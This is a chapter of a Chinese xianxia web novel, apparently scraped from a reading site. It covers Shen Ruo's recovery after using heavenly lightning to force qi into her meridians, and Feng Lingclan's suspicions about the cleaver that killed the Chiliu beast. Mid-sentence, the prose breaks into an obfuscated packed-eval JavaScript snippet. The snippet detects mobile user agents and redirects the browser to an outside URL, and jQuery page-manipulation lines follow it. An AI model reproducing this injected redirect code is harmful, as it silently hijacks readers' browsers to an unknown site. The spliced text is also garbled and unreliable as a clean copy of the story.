又是这样的场景...
沈若睁开眼,呆滞地盯着头顶的床幔,喃喃:“这是第几次了...”
“什么第几次?”柳溪迟恰好进来,听到动静,凑近前来看了一眼,见到沈若睁开了眼,担忧的神情蓦地缓和下来。
“柳师姐。”沈若回过神,动动身子想要坐起,却发现根本动弹不得。
怎,怎么回事。沈若少见的有些慌乱。她怎么感觉不到自己的身体了。
“别紧张。”柳溪迟安慰道:“师父...也就是山与仙君封了你的痛觉,所以才会这样。”
“那我怎么动都动不了?!”沈若面露惊恐,却看见眼前柳溪迟面色沉了沉,本打算斥责几句,可见到眼前这般惨状,她最终只叹了口气。
“师妹,你不该如此莽撞的。”
我做了什么?
记忆闪回,沈若依稀记起天雷将劈之时她陡然灵光一闪。
之前柳溪迟说过,洗髓丹的作用是加快经脉吸收灵气的速度,借此引大量灵力灌入经脉,实现洗经伐髓之效。
而沈若的经脉滞涩,缺少灵力入体这么一个关键的引入环节,洗髓丹对她自然无效。
但是,渡劫的天雷之中,极富灵力。只有这种瞬时且强大的灵力,才能够瞬间淬炼渡劫者的经脉,助其升阶。
那将二者结合呢?
或者说,借赤璃兽的一道天雷引灵气入体,再用洗髓丹洗经伐髓,让灵力瞬间充盈经脉,然后再借这一击之力将赤璃兽斩杀。
极险的一招。
只记得那道天雷劈下,她的身体仿若被撕扯成了一片片,彻骨的痛意把意识敲打得支离破碎。那时沈若还一心想着要把赤璃兽给杀了,就是不知道自己到底出没出手。
“赤璃兽呢?死了吗?江悬和穆延川怎么样?还有黑市...”
一连串的问题争相扔出,柳溪迟很是耐心地一一解答着。
“赤璃兽已经死了,天雷只劈了一道就散去了。没什么人受伤。”
“江悬和穆延川在隔壁,受了些轻伤,现下应该已经醒了。”
“沈若!!!!”撕心裂肺的喊声从外头传进来,只听见门突然被大力推开,江悬一个飞扑就趴到了沈若的床边。
柳溪迟反应迅速,立马闪到了一旁。
江悬甫一抬头,就望见面前包得如同粽子一般的人,也没看清沈若到底醒了没醒,就哭天喊地嚎了起来。
“都怪我,不该答应你那劳什子计划,弄得你现在落得这副田地,呜呜呜...”自顾自哀嚎了一阵,江悬又泪眼婆娑地拉住沈若的手,诚挚道:“放心,恩人。即便你这辈子只能瘫在床上,我也会花钱把你照顾好的。”
等等。
“你说什么?谁瘫了?”沈若陡然抓住了关键。
柳溪迟暗道不好,赶紧叫后头的穆延川把江悬拖下去,穆延川也很是有眼力见,一把就捂住了江悬的嘴。
“没有的事,师妹你听错了。你好好休息,我就不让他们打扰你了。”
“师姐。”沈若声音一沉,“劳烦给我面镜子。”
“这...”
气氛忽地凝重起来,几人莫名僵持,沈若很是固执地盯着,非得探个究竟。
终于,柳溪迟败下阵来,
“师妹,你别担心,这状况持续不了多久,过几天就好了。”喃喃念叨了几句,沈若面前缓缓凝出一面水镜,倒映出她此时的模样。
眼睛一翻。沈若昏了过去。
“啊啊啊!师姐快救人啊!”江悬挣扎着摆开穆延川的手,尖叫出声。
一炷香后,沈若悠悠转醒,四张大脸将视野占了个严严实实。
见沈若又想昏去,柳溪迟出声劝解,“师妹,真的没你想象得那么恐怖。只不过是经脉被灵力充盈过度,再加上被天雷劈了一道,内外伤多了些,便给你用了传统的药泥涂敷法。”
“但你大可放心,咱们浮玉峰上灵药充足,不出两日,你定能恢复如初。”
“嗯。”沈若闷闷应了一声,不见情绪。
床边四人依旧关切地盯着她,沈若头皮一麻,回道:“我没事。我也相信浮玉峰各位医修的医术,只是...我想一个人静一静。”
四人相互对视一眼,缓缓退了出去。
关门前,戚明意又探出脑袋,“如果你口渴了可以叫我。”
随后江悬也冒了出来,“要是饿了就叫我!”
穆延川也来凑热闹,“要是...”
“都出去吧,我有事会叫你们的。”
“好的。”乖巧地齐声应答,屋里终于安静下来。
一息后,沈若终于忍不住了。
啊啊啊啊啊——她在内心咆哮。
夭寿了,她的一世英名,全毁在这儿了。
想她应若竹风光一世,剑指妖龙,劈山破海,多少修士叹为观止。
但眼下,她竟然在区区引气入体上,就成了如此狼狈的模样!
天知道在她昏迷之后再到浮玉峰的期间,有多少散修和同门见到了她的鬼样子!
她也是要面子的啊啊啊!
生无可恋地在浮玉峰上躺了两日,大好的休沐期就这么过去,等到沈若完全恢复,又开始一如既往的授课。
此时她撑着脑袋坐在角落,远远盯着前边,两眼发直。
她要离开岐山派...
陡然间,沈若意识到什么。她静心调息,经脉之中有一条细微的灵力在缓缓流淌。
是了,她引气入体已经成功了。
虽然灵力微弱,但眼下她已经不是凡人了。
她终于成了修士。
既然如此,那她离开岐山派的计划,也可以着手开始准备了。
引气入体后的第一境便是脱凡境,目前新入门的弟子大多都是在这个境界,当然也不乏有些资质佳的已然到了聚灵境。
脱凡、聚灵、踏云、结元、离魂、返真、化神,一境十二阶。
只要她到了聚灵境,就差不多可以离开了。这样去寻辞归剑时,她也能有自保之力。
不就是再走一遍从前散修的路子嘛,简单。
这个想法只堪堪持续了半天,当沈若下午碰上梧襄仙君时,他特地在沈若面前停了一下,颇为赞赏地点了点头。
“三日不见就引气入体了,不错。”
没等沈若谦虚谢过,梧襄便陡然放了满满两桶水到她的手里,微笑道:“既然不是凡人了,那也就没有特权咯。”
“...”现在废掉灵力还来得及吗?
“哈哈,你也有今天。”江悬嘲笑出声,手上一抖,脚边落了点水。
梧襄闻声而来,摆直了江悬的姿势,又将水加满回去。
这下他不敢说话了。
启云峰,临霞谷。
风陵澜手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398523|168664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里把玩着一把菜刀,眉头微蹙。
若是沈若此时在场,定然会惊呼出声,自己花了五灵石巨款买的菜刀,竟然被他捡了去!
风陵澜的视线缓缓移到菜刀上,眼眸深了深,这是他从赤璃兽尸体上拔出来的。
左胸骨第三节,是赤璃兽的命门,一击便可致死。
而那把菜刀,恰恰好砍在那处。
也就是说,赤璃兽就是被这么一把平平无奇的菜刀夺了性命。
若是换做旁的修士,风陵澜本不会如此在意,可问题就在于,出刀之人,算不上修士。
犹记得半月前,她还是孤零一人在街上晃荡,拿着红封怯生生说着谢谢。却不曾想,竟能一刀砍死赤璃兽...
有这般实力,却又百般隐藏来到岐山派,她究竟起得什么心思?亦或者说...是有什么别的身份?
沈,若。
二字缓缓吐露,不知想到了什么,风陵澜竟少见地有些怔然。一个晃神,指尖微刺,低头看去,冒出点点血珠。
受伤了。
正好,去浮玉峰一趟。
随即,风陵澜收了菜刀,消失在屋内。
山与仙君又照常在药庐里炼药,她平日大部分时间都在药庐,没事就喜欢拾掇拾掇药田,有时候也会琢磨些新丹药。
门外蓦然传来敲门声,山与权当是来送草药的弟子,暗暗嘀咕着怎么来得这么早,也没回头,朗声说了句,“进来吧,就放后边桌子上就行。”
等她转身去拿草药时,被吓了一跳。
“风陵澜?”山与讶异出声,赶紧端起了仙君的架子,却又忍不住瞥了两眼。莫止的宝贝徒儿怎么跑她这来了。
“拜见师叔。”
“风陵师侄可是有什么要事?”
“不是什么大事。叨扰师叔了。”风陵澜言行颇有礼数,反倒弄得山与有些不好意思。
“无妨无妨,你尽管说就是。”
风陵澜点点头,道:“前几日贺惟柏师兄在丰源镇救下了几位新入门弟子,甚是关心,特地差我来问问。”
话说得婉转,但山与清楚,丰源镇那日风陵澜同样在场,这般问话,想必是自己关心,却又不好直接来问。
山与低声笑了笑,暗道这些年轻人真是羞怯得很,却也不拂了他面子,顺着他的话回道:“那你大可让贺惟柏放心,那三个小弟子早就没事了。虽然其中有一个伤得不轻,但凭咱们浮玉峰的医术,不到两天她就能活蹦乱跳。”
“伤得...不轻?”风陵澜有些意外。
“是啊。”提起这事,山与只觉得总算能找个人说道说道,“那小姑娘也不知道搭错了哪根筋,想出那般不要命的法子,抬回来的时候,身上没有一块儿好肉,吓得我还以为她遭了虐杀。”
草草说了几句,山与见眼前人面色沉沉,表情也有些古怪,恍恍意识到自己说得多了些,就此扯开话题。
“不过别担心。现下她已经没事了。”
风陵澜回过神来,颔首道:“我知道了。多谢师叔相告。”
“不谢不谢。要是有需要的灵药,随时来浮玉峰。”
“那师侄便告退了。”
带着困惑去浮玉峰寻解,却又携着重重疑云回了临霞谷,风陵澜微微出神,手下却有条不紊地烹着茶。小炉中的灵火悄声燃着,壶中翻起水花,面前云雾腾腾。
他有些看不透了。